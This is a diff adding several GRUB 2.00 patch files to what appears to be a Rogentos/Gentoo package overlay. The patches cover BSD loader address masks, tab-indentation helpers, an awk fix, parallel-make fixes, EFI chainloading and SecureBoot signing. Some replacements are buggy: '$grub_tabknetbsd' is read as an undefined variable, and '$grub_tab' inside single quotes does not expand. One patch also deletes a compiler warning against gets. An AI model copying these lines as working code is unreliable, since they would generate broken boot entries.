+diff -Nur grub-2.00.orig/grub-core/loader/i386/bsd.c grub-2.00/grub-core/loader/i386/bsd.c
+--- grub-2.00.orig/grub-core/loader/i386/bsd.c	2012-06-07 22:06:00.000000000 +0900
++++ grub-2.00/grub-core/loader/i386/bsd.c	2013-01-04 19:50:55.000000000 +0900
+@@ -1309,7 +1309,7 @@
+       && phdr->p_type != PT_DYNAMIC)
+       return 0;
+ 
+-  paddr = phdr->p_paddr & 0xFFFFFF;
++  paddr = phdr->p_paddr & 0xFFFFFFF;
+ 
+   if (paddr < kern_start)
+     kern_start = paddr;
+@@ -1333,7 +1333,7 @@
+     }
+ 
+   *do_load = 1;
+-  phdr->p_paddr &= 0xFFFFFF;
++  phdr->p_paddr &= 0xFFFFFFF;
+   paddr = phdr->p_paddr;
+ 
+   *addr = (grub_addr_t) (paddr - kern_start + (grub_uint8_t *) kern_chunk_src);
+@@ -1351,7 +1351,7 @@
+       && phdr->p_type != PT_DYNAMIC)
+     return 0;
+ 
+-  paddr = phdr->p_paddr & 0xffffff;
++  paddr = phdr->p_paddr & 0xfffffff;
+ 
+   if (paddr < kern_start)
+     kern_start = paddr;
+@@ -1375,7 +1375,7 @@
+     }
+ 
+   *do_load = 1;
+-  paddr = phdr->p_paddr & 0xffffff;
++  paddr = phdr->p_paddr & 0xfffffff;
+ 
+   *addr = (grub_addr_t) (paddr - kern_start + (grub_uint8_t *) kern_chunk_src);
+ 
+@@ -1394,7 +1394,7 @@
+     {
+       grub_relocator_chunk_t ch;
+ 
+-      entry = elf->ehdr.ehdr32.e_entry & 0xFFFFFF;
++      entry = elf->ehdr.ehdr32.e_entry & 0xFFFFFFF;
+       err = grub_elf32_phdr_iterate (elf, filename,
+ 				     grub_bsd_elf32_size_hook, NULL);
+       if (err)
+diff -Nur grub-2.00.orig/util/grub-mkconfig_lib.in grub-2.00/util/grub-mkconfig_lib.in
+--- grub-2.00.orig/util/grub-mkconfig_lib.in	2012-06-28 00:27:53.000000000 +0900
++++ grub-2.00/util/grub-mkconfig_lib.in	2013-01-04 19:50:55.000000000 +0900
+@@ -349,3 +349,10 @@
+       cat
+   fi
+ }
++
++grub_tab="	"
++
++grub_add_tab () {
++  sed -e "s/^/$grub_tab/"
++}
++
+diff -Nur grub-2.00.orig/util/grub.d/10_hurd.in grub-2.00/util/grub.d/10_hurd.in
+--- grub-2.00.orig/util/grub.d/10_hurd.in	2012-03-05 05:10:04.000000000 +0900
++++ grub-2.00/util/grub.d/10_hurd.in	2013-01-04 19:50:55.000000000 +0900
+@@ -108,7 +108,7 @@
+ EOF
+   fi
+ 
+-  prepare_grub_to_access_device "${GRUB_DEVICE_BOOT}" | sed -e "s/^/\t/"|sed "s/^/$submenu_indentation/"
++  prepare_grub_to_access_device "${GRUB_DEVICE_BOOT}" | grub_add_tab|sed "s/^/$submenu_indentation/"
+   message="$(gettext_printf "Loading GNU Mach ...")"
+ 
+   if [ x$type = xrecovery ] ; then
+@@ -122,9 +122,9 @@
+ EOF
+ 
+   if [ x$type != xrecovery ] ; then
+-      save_default_entry | sed -e "s/^/\t/"| sed "s/^/$submenu_indentation/"
++      save_default_entry | grub_add_tab| sed "s/^/$submenu_indentation/"
+   fi
+-  prepare_grub_to_access_device "${GRUB_DEVICE}" | sed -e "s/^/\t/"| sed "s/^/$submenu_indentation/"
++  prepare_grub_to_access_device "${GRUB_DEVICE}" | grub_add_tab| sed "s/^/$submenu_indentation/"
+   message="$(gettext_printf "Loading the Hurd ...")"
+   if [ x$type = xrecovery ] ; then
+       opts=
+@@ -158,7 +158,7 @@
+ 
+   if [ "x$is_first_entry" = xtrue ]; then
+       hurd_entry "$kernel" simple
+-      submenu_indentation="\t"
++      submenu_indentation="$grub_tab"
+     
+       # TRANSLATORS: %s is replaced with an OS name
+       echo "submenu '$(gettext_printf "Advanced options for %s" "${OS}" | grub_quote)' \$menuentry_id_option 'gnuhurd-advanced-$(grub_get_device_id "${GRUB_DEVICE_BOOT}")' {"
+diff -Nur grub-2.00.orig/util/grub.d/10_illumos.in grub-2.00/util/grub.d/10_illumos.in
+--- grub-2.00.orig/util/grub.d/10_illumos.in	2012-03-05 04:03:38.000000000 +0900
++++ grub-2.00/util/grub.d/10_illumos.in	2013-01-04 19:50:55.000000000 +0900
+@@ -35,8 +35,8 @@
+ esac
+ 
+ echo "menuentry '$(echo "$OS" | grub_quote)' ${CLASS} \$menuentry_id_option 'illumos-$(grub_get_device_id "${GRUB_DEVICE_BOOT}")' {"
+-save_default_entry | sed -e "s/^/\t/"
+-prepare_grub_to_access_device "${GRUB_DEVICE_BOOT}" | sed -e "s/^/\t/"
++save_default_entry | grub_add_tab
++prepare_grub_to_access_device "${GRUB_DEVICE_BOOT}" | grub_add_tab
+ message="$(gettext_printf "Loading kernel of Illumos ...")"
+   cat << EOF
+ 	insmod gzio
+diff -Nur grub-2.00.orig/util/grub.d/10_kfreebsd.in grub-2.00/util/grub.d/10_kfreebsd.in
+--- grub-2.00.orig/util/grub.d/10_kfreebsd.in	2012-03-05 06:02:30.000000000 +0900
++++ grub-2.00/util/grub.d/10_kfreebsd.in	2013-01-04 19:50:55.000000000 +0900
+@@ -54,7 +54,7 @@
+   fi
+ 
+   if [ -z "${prepare_module_dir_cache}" ]; then
+-    prepare_module_dir_cache="$(prepare_grub_to_access_device $(grub-probe -t device "${module_dir}") | sed -e "s/^/\t/")"
++    prepare_module_dir_cache="$(prepare_grub_to_access_device $(${grub_probe} -t device "${module_dir}") | grub_add_tab)"
+   fi
+ 
+   printf '%s\n' "${prepare_module_dir_cache}"
+@@ -91,10 +91,10 @@
+       echo "menuentry '$(echo "$OS" | grub_quote)' ${CLASS} \$menuentry_id_option 'kfreebsd-simple-$boot_device_id' {" | sed "s/^/$submenu_indentation/"
+   fi
+   if [ x$type != xrecovery ] ; then
+-      save_default_entry | sed -e "s/^/\t/" | sed "s/^/$submenu_indentation/"
++      save_default_entry | grub_add_tab | sed "s/^/$submenu_indentation/"
+   fi
+   if [ -z "${prepare_boot_cache}" ]; then
+-    prepare_boot_cache="$(prepare_grub_to_access_device ${GRUB_DEVICE_BOOT} | sed -e "s/^/\t/")"
++    prepare_boot_cache="$(prepare_grub_to_access_device ${GRUB_DEVICE_BOOT} | grub_add_tab)"
+   fi
+ 
+   printf '%s\n' "${prepare_boot_cache}" | sed "s/^/$submenu_indentation/"
+@@ -112,7 +112,7 @@
+ 
+   load_kfreebsd_module acpi true
+ 
+-  for abstraction in dummy $(grub-probe -t abstraction --device ${GRUB_DEVICE}) ; do
++  for abstraction in dummy $(${grub_probe} -t abstraction --device ${GRUB_DEVICE}) ; do
+     case $abstraction in
+       lvm) load_kfreebsd_module geom_linux_lvm false ;;
+     esac
+@@ -122,10 +122,10 @@
+     zfs)
+       load_kfreebsd_module opensolaris false
+ 
+-      ls "${dirname}/zfs/zpool.cache" > /dev/null
++      ls "/boot/zfs/zpool.cache" > /dev/null
+       printf '%s\n' "${prepare_boot_cache}"
+       sed "s/^/$submenu_indentation/" << EOF
+-	kfreebsd_module		${rel_dirname}/zfs/zpool.cache type=/boot/zfs/zpool.cache
++	kfreebsd_module		$(make_system_path_relative_to_its_root /boot)/zfs/zpool.cache type=/boot/zfs/zpool.cache
+ EOF
+     ;;
+   esac
+@@ -179,7 +179,7 @@
+   case ${GRUB_FS} in
+     zfs)
+ 			# zpool name
+-			kfreebsd_device=$(grub-probe -t fs_label --device ${GRUB_DEVICE})
++			kfreebsd_device=$(${grub_probe} -t fs_label --device ${GRUB_DEVICE})
+ 			# filesystem name (empty string for the main filesystem)
+ 			kfreebsd_device="${kfreebsd_device}$(${grub_mkrelpath} / | sed -e "s,/*@$,,")"
+     ;;
+@@ -213,7 +213,7 @@
+ 
+   if [ "x$is_first_entry" = xtrue ]; then
+       kfreebsd_entry "${OS}" "${version}" simple
+-      submenu_indentation="\t"
++      submenu_indentation="$grub_tab"
+     
+       if [ -z "$boot_device_id" ]; then
+ 	  boot_device_id="$(grub_get_device_id "${GRUB_DEVICE}")"
+diff -Nur grub-2.00.orig/util/grub.d/10_linux.in grub-2.00/util/grub.d/10_linux.in
+--- grub-2.00.orig/util/grub.d/10_linux.in	2012-04-19 06:24:38.000000000 +0900
++++ grub-2.00/util/grub.d/10_linux.in	2013-01-04 19:50:55.000000000 +0900
+@@ -101,7 +101,7 @@
+       echo "menuentry '$(echo "$os" | grub_quote)' ${CLASS} \$menuentry_id_option 'gnulinux-simple-$boot_device_id' {" | sed "s/^/$submenu_indentation/"
+   fi      
+   if [ x$type != xrecovery ] ; then
+-      save_default_entry | sed -e "s/^/\t/"
++      save_default_entry | grub_add_tab
+   fi
+ 
+   # Use ELILO's generic "efifb" when it's known to be available.
+@@ -123,12 +123,12 @@
+ 
+   if [ x$dirname = x/ ]; then
+     if [ -z "${prepare_root_cache}" ]; then
+-      prepare_root_cache="$(prepare_grub_to_access_device ${GRUB_DEVICE} | sed -e "s/^/\t/")"
++      prepare_root_cache="$(prepare_grub_to_access_device ${GRUB_DEVICE} | grub_add_tab)"
+     fi
+     printf '%s\n' "${prepare_root_cache}" | sed "s/^/$submenu_indentation/"
+   else
+     if [ -z "${prepare_boot_cache}" ]; then
+-      prepare_boot_cache="$(prepare_grub_to_access_device ${GRUB_DEVICE_BOOT} | sed -e "s/^/\t/")"
++      prepare_boot_cache="$(prepare_grub_to_access_device ${GRUB_DEVICE_BOOT} | grub_add_tab)"
+     fi
+     printf '%s\n' "${prepare_boot_cache}" | sed "s/^/$submenu_indentation/"
+   fi
+@@ -230,7 +230,7 @@
+     linux_entry "${OS}" "${version}" simple \
+     "${GRUB_CMDLINE_LINUX} ${GRUB_CMDLINE_LINUX_DEFAULT}"
+ 
+-    submenu_indentation="\t"
++    submenu_indentation="$grub_tab"
+     
+     if [ -z "$boot_device_id" ]; then
+ 	boot_device_id="$(grub_get_device_id "${GRUB_DEVICE}")"
+diff -Nur grub-2.00.orig/util/grub.d/10_netbsd.in grub-2.00/util/grub.d/10_netbsd.in
+--- grub-2.00.orig/util/grub.d/10_netbsd.in	2012-03-05 04:47:35.000000000 +0900
++++ grub-2.00/util/grub.d/10_netbsd.in	2013-01-04 19:50:55.000000000 +0900
+@@ -77,10 +77,10 @@
+   prepare_grub_to_access_device $(${grub_probe} -t device "${kmodule}") | sed -e 's,^,	,'
+   case "${loader}" in
+     knetbsd)
+-      printf "\tknetbsd_module_elf %s\n" "${kmodule_rel}"
++      printf "$grub_tabknetbsd_module_elf %s\n" "${kmodule_rel}"
+       ;;
+     multiboot)
+-      printf "\tmodule %s\n" "${kmodule_rel}"
++      printf "$grub_tabmodule %s\n" "${kmodule_rel}"
+       ;;
+   esac
+ }
+@@ -121,11 +121,11 @@
+   printf "%s\n" "${prepare_boot_cache}" | sed "s/^/$submenu_indentation/"
+   case "${loader}" in
+     knetbsd)
+-      printf "\tknetbsd %s -r %s %s\n" \
++      printf "$grub_tabknetbsd %s -r %s %s\n" \
+         "${kernel}" "${kroot_device}" "${GRUB_CMDLINE_NETBSD} ${args}" | sed "s/^/$submenu_indentation/"
+       ;;
+     multiboot)
+-      printf "\tmultiboot %s %s root=%s %s\n" \
++      printf "$grub_tabmultiboot %s %s root=%s %s\n" \
+         "${kernel}" "${kernel}" "${kroot_device}" "${GRUB_CMDLINE_NETBSD} ${args}" | sed "s/^/$submenu_indentation/"
+       ;;
+   esac
+@@ -159,7 +159,7 @@
+ 
+   if [ "x$is_first_entry" = xtrue ]; then
+       netbsd_entry "knetbsd"   "$k" simple "${GRUB_CMDLINE_NETBSD_DEFAULT}"
+-    submenu_indentation="\t"
++    submenu_indentation="$grub_tab"
+     
+     if [ -z "$boot_device_id" ]; then
+ 	boot_device_id="$(grub_get_device_id "${GRUB_DEVICE}")"
+diff -Nur grub-2.00.orig/util/grub.d/10_windows.in grub-2.00/util/grub.d/10_windows.in
+--- grub-2.00.orig/util/grub.d/10_windows.in	2012-03-05 06:11:43.000000000 +0900
++++ grub-2.00/util/grub.d/10_windows.in	2013-01-04 19:50:55.000000000 +0900
+@@ -45,7 +45,7 @@
+     sort | uniq | wc -l`" = 1 || return 1
+ 
+   # Search 'default=PARTITION'
+-  get_os_name_from_boot_ini_part=`sed -n 's,^default=,,p' "$1" | sed 's,\\\\,/,g;s,[ \t\r]*$,,;1q'`
++  get_os_name_from_boot_ini_part=`sed -n 's,^default=,,p' "$1" | sed 's,\\\\,/,g;s,[ $grub_tab\r]*$,,;1q'`
+   test -n "$get_os_name_from_boot_ini_part" || return 1
+ 
+   # Search 'PARTITION="NAME" ...'
+@@ -87,8 +87,8 @@
+ menuentry '$(echo "$OS" | grub_quote)' \$menuentry_id_option '$osid-$(grub_get_device_id "${dev}")' {
+ EOF
+ 
+-  save_default_entry | sed -e 's,^,\t,'
+-  prepare_grub_to_access_device "$dev" | sed 's,^,\t,'
++  save_default_entry | sed -e 's,^,$grub_tab,'
++  prepare_grub_to_access_device "$dev" | sed 's,^,$grub_tab,'
+   test -z "$needmap" || cat <<EOF
+ 	drivemap -s (hd0) \$root
+ EOF
+diff -Nur grub-2.00.orig/util/grub.d/10_xnu.in grub-2.00/util/grub.d/10_xnu.in
+--- grub-2.00.orig/util/grub.d/10_xnu.in	2012-05-29 19:31:03.000000000 +0900
++++ grub-2.00/util/grub.d/10_xnu.in	2013-01-04 19:50:55.000000000 +0900
+@@ -39,8 +39,8 @@
+         cat << EOF
+ menuentry '$(echo "Darwin/Mac OS X $bitstr $onstr" | grub_quote)' --class osx --class darwin --class os \$menuentry_id_option 'osprober-xnu-$2-$(grub_get_device_id "${GRUB_DEVICE}")'  {
+ EOF
+-	save_default_entry | sed -e "s/^/	/"
+-	prepare_grub_to_access_device ${GRUB_DEVICE} | sed -e "s/^/	/"
++	save_default_entry | grub_add_tab
++	prepare_grub_to_access_device ${GRUB_DEVICE} | grub_add_tab
+ 	cat << EOF
+         load_video
+         set do_resume=0
+diff -Nur grub-2.00.orig/util/grub.d/20_linux_xen.in grub-2.00/util/grub.d/20_linux_xen.in
+--- grub-2.00.orig/util/grub.d/20_linux_xen.in	2012-06-04 04:57:42.000000000 +0900
++++ grub-2.00/util/grub.d/20_linux_xen.in	2013-01-04 19:50:55.000000000 +0900
+@@ -110,11 +110,11 @@
+       echo "menuentry '$(echo "$title" | grub_quote)' ${CLASS} \$menuentry_id_option 'xen-gnulinux-simple-$boot_device_id' {" | sed "s/^/$submenu_indentation/"
+   fi
+   if [ x$type != xrecovery ] ; then
+-      save_default_entry | sed -e "s/^/\t/" | sed "s/^/$submenu_indentation/"
++      save_default_entry | grub_add_tab | sed "s/^/$submenu_indentation/"
+   fi
+ 
+   if [ -z "${prepare_boot_cache}" ]; then
+-    prepare_boot_cache="$(prepare_grub_to_access_device ${GRUB_DEVICE_BOOT} | sed -e "s/^/\t/")"
++    prepare_boot_cache="$(prepare_grub_to_access_device ${GRUB_DEVICE_BOOT} | grub_add_tab)"
+   fi
+   printf '%s\n' "${prepare_boot_cache}" | sed "s/^/$submenu_indentation/"
+   xmessage="$(gettext_printf "Loading Xen %s ..." ${xen_version})"
+@@ -236,7 +236,7 @@
+ 	    linux_entry "${OS}" "${version}" "${xen_version}" simple \
+ 		"${GRUB_CMDLINE_LINUX} ${GRUB_CMDLINE_LINUX_DEFAULT}" "${GRUB_CMDLINE_XEN} ${GRUB_CMDLINE_XEN_DEFAULT}"
+ 
+-	    submenu_indentation="\t\t"
++	    submenu_indentation="$grub_tab$grub_tab"
+     
+ 	    if [ -z "$boot_device_id" ]; then
+ 		boot_device_id="$(grub_get_device_id "${GRUB_DEVICE}")"
+diff -Nur grub-2.00.orig/util/grub.d/30_os-prober.in grub-2.00/util/grub.d/30_os-prober.in
+--- grub-2.00.orig/util/grub.d/30_os-prober.in	2012-03-05 05:52:03.000000000 +0900
++++ grub-2.00/util/grub.d/30_os-prober.in	2013-01-04 19:50:55.000000000 +0900
+@@ -54,8 +54,8 @@
+         cat << EOF
+ menuentry '$(echo "${LONGNAME} $bitstr $onstr" | grub_quote)' --class osx --class darwin --class os \$menuentry_id_option 'osprober-xnu-$2-$(grub_get_device_id "${DEVICE}")'  {
+ EOF
+-	save_default_entry | sed -e "s/^/\t/"
+-	prepare_grub_to_access_device ${DEVICE} | sed -e "s/^/\t/"
++	save_default_entry | grub_add_tab
++	prepare_grub_to_access_device ${DEVICE} | grub_add_tab
+ 	cat << EOF
+         load_video
+         set do_resume=0
+@@ -126,8 +126,8 @@
+       cat << EOF
+ menuentry '$(echo "${LONGNAME} $onstr" | grub_quote)' --class windows --class os \$menuentry_id_option 'osprober-chain-$(grub_get_device_id "${DEVICE}")' {
+ EOF
+-      save_default_entry | sed -e "s/^/\t/"
+-      prepare_grub_to_access_device ${DEVICE} | sed -e "s/^/\t/"
++      save_default_entry | grub_add_tab
++      prepare_grub_to_access_device ${DEVICE} | grub_add_tab
+ 
+       case ${LONGNAME} in
+ 	Windows\ Vista*|Windows\ 7*|Windows\ Server\ 2008*)
+@@ -181,14 +181,14 @@
+ 	used_osprober_linux_ids="$used_osprober_linux_ids 'osprober-gnulinux-$LKERNEL-${recovery_params}-$counter-$boot_device_id'"
+ 
+ 	if [ -z "${prepare_boot_cache}" ]; then
+-	  prepare_boot_cache="$(prepare_grub_to_access_device ${LBOOT} | sed -e "s/^/\t/")"
++	  prepare_boot_cache="$(prepare_grub_to_access_device ${LBOOT} | grub_add_tab)"
+ 	fi
+ 
+ 	if [ "x$is_first_entry" = xtrue ]; then
+             cat << EOF
+ menuentry '$(echo "$OS" | grub_quote)' --class gnu-linux --class gnu --class os \$menuentry_id_option 'osprober-gnulinux-simple-$boot_device_id' {
+ EOF
+-	    save_default_entry | sed -e "s/^/\t/"
++	    save_default_entry | grub_add_tab
+ 	    printf '%s\n' "${prepare_boot_cache}"
+ 	    cat <<  EOF
+ 	linux ${LKERNEL} ${LPARAMS}
+@@ -208,8 +208,8 @@
+         cat << EOF
+ 	menuentry '$(echo "$title" | grub_quote)' --class gnu-linux --class gnu --class os \$menuentry_id_option 'osprober-gnulinux-$LKERNEL-${recovery_params}-$boot_device_id' {
+ EOF
+-	save_default_entry | sed -e "s/^/\t\t/"
+-	printf '%s\n' "${prepare_boot_cache}" | sed -e "s/^/\t/"
++	save_default_entry | sed -e "s/^/$grub_tab$grub_tab/"
++	printf '%s\n' "${prepare_boot_cache}" | grub_add_tab
+ 	cat <<  EOF
+ 		linux ${LKERNEL} ${LPARAMS}
+ EOF
+@@ -243,8 +243,8 @@
+       cat << EOF
+ menuentry '$(echo "${LONGNAME} $onstr" | grub_quote)' --class hurd --class gnu --class os \$menuentry_id_option 'osprober-gnuhurd-/boot/gnumach.gz-false-$(grub_get_device_id "${DEVICE}")' {
+ EOF
+-      save_default_entry | sed -e "s/^/\t/"
+-      prepare_grub_to_access_device ${DEVICE} | sed -e "s/^/\t/"
++      save_default_entry | grub_add_tab
++      prepare_grub_to_access_device ${DEVICE} | grub_add_tab
+       grub_device="`${grub_probe} --device ${DEVICE} --target=drive`"
+       mach_device="`echo "${grub_device}" | sed -e 's/(\(hd.*\),msdos\(.*\))/\1s\2/'`"
+       grub_fs="`${grub_probe} --device ${DEVICE} --target=fs`"
diff --git a/sys-boot/grub/files/grub-2.00-genkernel-initramfs-single.patch b/sys-boot/grub/files/grub-2.00-genkernel-initramfs-single.patch
new file mode 100644
index 00000000..95a247e0
--- /dev/null
+++ b/sys-boot/grub/files/grub-2.00-genkernel-initramfs-single.patch
@@ -0,0 +1,11 @@
+--- grub-2.00.orig/util/grub.d/10_linux.in
++++ grub-2.00/util/grub.d/10_linux.in
+@@ -243,7 +243,7 @@ while [ "x$list" != "x" ] ; do
+               "${GRUB_CMDLINE_LINUX} ${GRUB_CMDLINE_LINUX_DEFAULT}"
+   if [ "x${GRUB_DISABLE_RECOVERY}" != "xtrue" ]; then
+     linux_entry "${OS}" "${version}" recovery \
+-                "single ${GRUB_CMDLINE_LINUX}"
++                "single init_opts=single ${GRUB_CMDLINE_LINUX/splash=silent/splash=verbose}"
+   fi
+ 
+   list=`echo $list | tr ' ' '\n' | grep -vx $linux | tr '\n' ' '`
diff --git a/sys-boot/grub/files/grub-2.00-hardcoded-awk.patch b/sys-boot/grub/files/grub-2.00-hardcoded-awk.patch
new file mode 100644
index 00000000..8019a3c7
--- /dev/null
+++ b/sys-boot/grub/files/grub-2.00-hardcoded-awk.patch
@@ -0,0 +1,15 @@
+https://bugs.gentoo.org/show_bug.cgi?id=424137
+https://savannah.gnu.org/bugs/?37558
+https://code.google.com/p/original-mawk/issues/detail?id=17
+--- grub-core/Makefile.am	2012-07-07 12:29:01 +0000
++++ grub-core/Makefile.am	2012-10-12 13:04:02 +0000
+@@ -349,7 +349,7 @@
+ 
+ # generate global module dependencies list
+ moddep.lst: syminfo.lst genmoddep.awk video.lst
+-	cat $< | sort | awk -f $(srcdir)/genmoddep.awk > $@ || (rm -f $@; exit 1)
++	cat $< | sort | $(AWK) -f $(srcdir)/genmoddep.awk > $@ || (rm -f $@; exit 1)
+ platform_DATA += moddep.lst
+ CLEANFILES += config.log syminfo.lst moddep.lst
+ 
+
diff --git a/sys-boot/grub/files/grub-2.00-no-gets.patch b/sys-boot/grub/files/grub-2.00-no-gets.patch
new file mode 100644
index 00000000..c21d4b97
--- /dev/null
+++ b/sys-boot/grub/files/grub-2.00-no-gets.patch
@@ -0,0 +1,22 @@
+hack until gzip pulls a newer gnulib version
+
+From 66712c23388e93e5c518ebc8515140fa0c807348 Mon Sep 17 00:00:00 2001
+From: Eric Blake <eblake@redhat.com>
+Date: Thu, 29 Mar 2012 13:30:41 -0600
+Subject: [PATCH] stdio: don't assume gets any more
+
+Gnulib intentionally does not have a gets module, and now that C11
+and glibc have dropped it, we should be more proactive about warning
+any user on a platform that still has a declaration of this dangerous
+interface.
+
+--- a/grub-core/gnulib/stdio.in.h
++++ b/grub-core/gnulib/stdio.in.h
+@@ -125,7 +125,6 @@
+    so any use of gets warrants an unconditional warning.  Assume it is
+    always declared, since it is required by C89.  */
+ #undef gets
+-_GL_WARN_ON_USE (gets, "gets is a security hole - use fgets instead");
+ 
+ #if @GNULIB_FOPEN@
+ # if @REPLACE_FOPEN@
diff --git a/sys-boot/grub/files/grub-2.00-os-prober-efi-system.patch b/sys-boot/grub/files/grub-2.00-os-prober-efi-system.patch
new file mode 100644
index 00000000..7e0888a8
--- /dev/null
+++ b/sys-boot/grub/files/grub-2.00-os-prober-efi-system.patch
@@ -0,0 +1,27 @@
+=== modified file 'util/grub.d/30_os-prober.in'
+--- util/grub.d/30_os-prober.in	2013-04-19 08:08:46 +0000
++++ util/grub.d/30_os-prober.in	2013-05-31 16:29:03 +0000
+@@ -149,6 +149,22 @@
+ }
+ EOF
+     ;;
++    efi)
++
++	EFIPATH=${DEVICE#*@}
++	DEVICE=${DEVICE%@*}
++	onstr="$(gettext_printf "(on %s)" "${DEVICE}")"
++      cat << EOF
++menuentry '$(echo "${LONGNAME} $onstr" | grub_quote)' --class windows --class os \$menuentry_id_option 'osprober-efi-$(grub_get_device_id "${DEVICE}")' {
++EOF
++      save_default_entry | sed -e "s/^/\t/"
++      prepare_grub_to_access_device ${DEVICE} | sed -e "s/^/\t/"
++
++      cat <<EOF
++	chainloader ${EFIPATH}
++}
++EOF
++    ;;
+     linux)
+       if [ "x$BTRFS" = "xbtrfs" ]; then
+          LINUXPROBED="`linux-boot-prober btrfs ${BTRFSuuid} ${BTRFSsubvol}  2> /dev/null | tr ' ' '^' | paste -s -d ' '`"
+
diff --git a/sys-boot/grub/files/grub-2.00-parallel-make.patch b/sys-boot/grub/files/grub-2.00-parallel-make.patch
new file mode 100644
index 00000000..03d634bb
--- /dev/null
+++ b/sys-boot/grub/files/grub-2.00-parallel-make.patch
@@ -0,0 +1,46 @@
+Fix parallel make problems.
+Upstream changesets 4547, 4552, 4578.
+--- gentpl.py
++++ gentpl.py
+@@ -484,10 +484,10 @@
+ def installdir(default="bin"):
+     return "[+ IF installdir +][+ installdir +][+ ELSE +]" + default + "[+ ENDIF +]"
+ 
+-def manpage():
++def manpage(adddeps):
+     r  = "if COND_MAN_PAGES\n"
+     r += gvar_add("man_MANS", "[+ name +].[+ mansection +]\n")
+-    r += rule("[+ name +].[+ mansection +]", "[+ name +]", """
++    r += rule("[+ name +].[+ mansection +]", "[+ name +] " + adddeps, """
+ chmod a+x [+ name +]
+ PATH=$(builddir):$$PATH pkgdatadir=$(builddir) $(HELP2MAN) --section=[+ mansection +] -i $(top_srcdir)/docs/man/[+ name +].h2m -o $@ [+ name +]
+ """)
+@@ -503,7 +503,7 @@
+     r += gvar_add("TESTS", "[+ name +]")
+     r += "[+ ELSE +]"
+     r += var_add(installdir() + "_PROGRAMS", "[+ name +]")
+-    r += "[+ IF mansection +]" + manpage() + "[+ ENDIF +]"
++    r += "[+ IF mansection +]" + manpage("") + "[+ ENDIF +]"
+     r += "[+ ENDIF +]"
+ 
+     r += var_set(cname() + "_SOURCES", platform_sources(platform))
+@@ -532,7 +532,7 @@
+     r += gvar_add ("TESTS", "[+ name +]")
+     r += "[+ ELSE +]"
+     r += var_add(installdir() + "_SCRIPTS", "[+ name +]")
+-    r += "[+ IF mansection +]" + manpage() + "[+ ENDIF +]"
++    r += "[+ IF mansection +]" + manpage("grub-mkconfig_lib") + "[+ ENDIF +]"
+     r += "[+ ENDIF +]"
+ 
+     r += rule("[+ name +]", platform_sources(platform) + " $(top_builddir)/config.status", """
+--- grub-core/Makefile.am
++++ grub-core/Makefile.am
+@@ -63,7 +63,7 @@
+ rs_decoder.S: $(srcdir)/lib/reed_solomon.c
+ 	$(TARGET_CC) $(TARGET_CPPFLAGS) $(TARGET_CFLAGS) -Os -I$(top_builddir) -S -DSTANDALONE -o $@ $< -g0 -mregparm=3 -ffreestanding
+ 
+-kern/i386/pc/startup.S: $(builddir)/rs_decoder.S
++boot/i386/pc/startup_raw.S: $(builddir)/rs_decoder.S
+ boot/mips/loongson/fwstart.S: $(builddir)/sm712_start.S
+ 
+ CLEANFILES += grub_script.yy.c grub_script.yy.h
diff --git a/sys-boot/grub/files/grub-2.00-rogentos-patch.patch b/sys-boot/grub/files/grub-2.00-rogentos-patch.patch
new file mode 100644
index 00000000..f3238628
--- /dev/null
+++ b/sys-boot/grub/files/grub-2.00-rogentos-patch.patch
@@ -0,0 +1,10 @@
+--- grub-2.00.orig/util/grub.d/10_linux.in	2012-09-09 23:41:17.299578772 +0000
++++ grub-2.00/util/grub.d/10_linux.in	2012-09-09 23:40:11.014407451 +0000
+@@ -25,6 +25,7 @@ datarootdir="@datarootdir@"
+ 
+ export TEXTDOMAIN=@PACKAGE@
+ export TEXTDOMAINDIR="@localedir@"
++export GRUB_DISTRIBUTOR=Rogentos
+ 
+ CLASS="--class gnu-linux --class gnu --class os"
+ 
diff --git a/sys-boot/grub/files/grub-2.00-secureboot-user-sign-2.patch b/sys-boot/grub/files/grub-2.00-secureboot-user-sign-2.patch
new file mode 100644
index 00000000..6882d1f4
--- /dev/null
+++ b/sys-boot/grub/files/grub-2.00-secureboot-user-sign-2.patch
@@ -0,0 +1,64 @@
+diff -Nurp grub-2.00.orig/util/grub-install.in grub-2.00/util/grub-install.in
+--- grub-2.00.orig/util/grub-install.in	2012-06-26 23:31:03.000000000 +0200
++++ grub-2.00/util/grub-install.in	2012-12-28 10:11:09.515872080 +0100
+@@ -821,12 +821,60 @@ elif [ x"${grub_modinfo_target_cpu}-${gr
+     gettext "You will have to set \`SystemPartition' and \`OSLoader' manually." 1>&2
+     echo 1>&2
+ elif [ x"$grub_modinfo_platform" = xefi ]; then
++
++    # sign the efi file with the User SecureBoot key
++    _sign_grub_efi() {
++	local _image="${1}"
++        local _image_dir="$(dirname "${_image}")"
++        local _image_name="$(basename "${_image}")"
++
++	case "$host_os" in
++	    linux*)
++		modprobe -q efivars 2>/dev/null || true ;;
++	esac
++
++	local _private="/boot/SecureBoot/user-private.key"
++	local _public="/boot/SecureBoot/user-public.crt"
++	local _shim_dir="/usr/share/shim-signed-*"
++	if test -f "${_private}" && test -f "${_public}"; then
++            echo "SecureBoot signing ${_image}"
++            sbsign --key "${_private}" --cert "${_public}" \
++                --output "${_image}.signed" \
++                "${_image}" && \
++                mv "${_image}.signed" "${_image}" && \
++		cp ${_shim_dir}/*.efi "${_image_dir}/"
++
++	    # if the image is called bootx64.efi, we need to rename it into
++	    # grubx64.efi and place shim.efi there.
++	    if test "${_image_name}" = "bootx64.efi" || test "${_image_name}" = "BOOTX64.EFI"; then
++		mv "${_image}" "${_image_dir}/grubx64.efi"
++		mv "${_image_dir}/shim.efi" "${_image_dir}/${_image_name}"
++	    else
++    	        # otherwise, if it's named grubx64.efi, we just need to move
++	        # shim.efi to bootx64.efi
++		mv "${_image_dir}/shim.efi" "${_image_dir}/bootx64.efi"
++		if test "${_image_name}" != "grubx64.efi" && test "${_image_name}" != "GRUBX64.EFI"; then
++		    mv "${_image_dir}/${_image_name}" "${_image_dir}/grubx64.efi"
++		fi
++		# and then change efi_file
++		efi_file="bootx64.efi"
++	    fi
++	else
++	    echo "Cannot sign ${_image} for SecureBoot" 1>&2
++	    echo "RogentOS keypair at $(basename ${_private}) not found" 1>&2
++	fi
++    }
++
+     cp "${grubdir}/${grub_modinfo_target_cpu}-$grub_modinfo_platform/core.${imgext}" "${efidir}/${efi_file}"
++    _efi_grub_file="${efidir}/${efi_file}"
+     # For old macs. Suggested by Peter Jones.
+     if [ x$grub_modinfo_target_cpu = xi386 ]; then
+ 	cp "${grubdir}/${grub_modinfo_target_cpu}-$grub_modinfo_platform/core.${imgext}" "${efidir}/boot.efi"
++	_efi_grub_file="${efidir}/boot.efi"
+     fi
+ 
++    _sign_grub_efi "${_efi_grub_file}"
